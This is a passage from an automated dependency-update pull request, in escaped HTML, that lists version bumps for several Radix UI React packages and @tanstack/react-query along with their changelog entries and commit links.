href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/popover/CHANGELOG.md\"\u003e@​radix-ui/react-popover's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/popover\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-progress` from 1.1.12 to 1.1.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/progress/CHANGELOG.md\"\u003e@​radix-ui/react-progress's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/progress\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-radio-group` from 1.4.3 to 1.4.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/radio-group/CHANGELOG.md\"\u003e@​radix-ui/react-radio-group's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/radio-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-scroll-area` from 1.2.14 to 1.2.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/scroll-area/CHANGELOG.md\"\u003e@​radix-ui/react-scroll-area's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/scroll-area\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-separator` from 1.1.11 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/separator/CHANGELOG.md\"\u003e@​radix-ui/react-separator's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/separator\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-slider` from 1.4.3 to 1.4.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/slider/CHANGELOG.md\"\u003e@​radix-ui/react-slider's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where \u003ccode\u003eonValueCommit\u003c/code\u003e was not called when a slider thumb was dragged across another thumb.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slider\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-switch` from 1.3.3 to 1.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/switch/CHANGELOG.md\"\u003e@​radix-ui/react-switch's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/switch\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tabs` from 1.1.17 to 1.1.18\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tabs/CHANGELOG.md\"\u003e@​radix-ui/react-tabs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tabs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toast` from 1.2.19 to 1.2.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toast/CHANGELOG.md\"\u003e@​radix-ui/react-toast's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eToast\u003c/code\u003e removing non-focused toasts when pressing \u003ccode\u003eEscape\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toast\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle` from 1.1.14 to 1.1.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle/CHANGELOG.md\"\u003e@​radix-ui/react-toggle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle-group` from 1.1.15 to 1.1.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle-group/CHANGELOG.md\"\u003e@​radix-ui/react-toggle-group's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tooltip` from 1.2.12 to 1.2.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tooltip/CHANGELOG.md\"\u003e@​radix-ui/react-tooltip's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where \u003ccode\u003eTooltip.Content\u003c/code\u003e children were mounted to the DOM twice.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tooltip\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query` from 5.101.2 to 5.101.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/181ea826cb5b5f722a774525046d8f4e105dd6bb\"\u003e\u003ccode\u003e181ea82\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11089\"\u003e#11089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/6d55b0759b4722b888fa516b1bb86c0a56ea47a2\"\u003e\u003ccode\u003e6d55b07\u003c/code\u003e\u003c/a\u003e test({react,preact}-query): use the '.then()' convention consistently (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11085\"\u003e#11085\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/44f38df5deaf72d8d74bc62b620dffed43fdbc05\"\u003e\u003ccode\u003e44f38df\u003c/code\u003e\u003c/a\u003e 